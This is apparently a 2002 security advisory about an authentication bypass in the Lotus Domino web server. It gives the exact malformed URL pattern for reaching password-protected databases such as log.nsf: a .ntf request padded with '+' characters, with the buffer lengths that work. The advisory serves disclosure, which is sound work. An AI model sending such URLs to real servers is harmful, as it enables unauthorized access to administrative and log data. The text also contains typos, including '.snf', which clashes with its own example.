Lotus Domino url bypass

["Gabriel A. Maggiotti" <gmaggiot () ciudad com ar>]

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Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: Febrary 03, 2002                  E-mail: gmaggiot () ciudad com ar
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General Info
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Problem Type    :  password protected url bypass
Product         :  Lotus Domino
Scope           :  Remote
Risk            :  High


Summary
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A security vulnerability has been found in the popular Lotus Domino Web server.
Lotus Domino have files like webadmin.nsf, log.nsf and names.nfs,  this   files 
are protected by password.  I discover that is posible to bypass this  password 
if you create a malformed url.

Notes Databases '.nsf' like webadmin.nsf or log.nsf are store in "lotus/domino/
data/" directory nas Notes Templatesi '.ntf' are store in the same  place (Here
is the goal).


Examples:

I found a critical and max length.

assuming the buffer is:         http://host.com/<buffer>/

Critical buffer length: is the minimun buffer   length you need  to  bypass the 
passwd file.

normal url:     http://host.com/log.nsf <----   Request for a passwd
modify url:     http://host.com/log.ntf<buff>.snf/
                                |-----217 -------|

In the case of log.nsf, <buff> is 217 - 12 = 205 '+' and the url will be:

http://host.com/log.ntf++++++++++++++++++++.nsf/
                       |-------- 205 -----|   


If you write a buffer between 219 and 257(higher buffer), you bypass the passwd.
modify url:     http://host.com/log.ntf<buff>.snf/
                                |---219 to 257 --|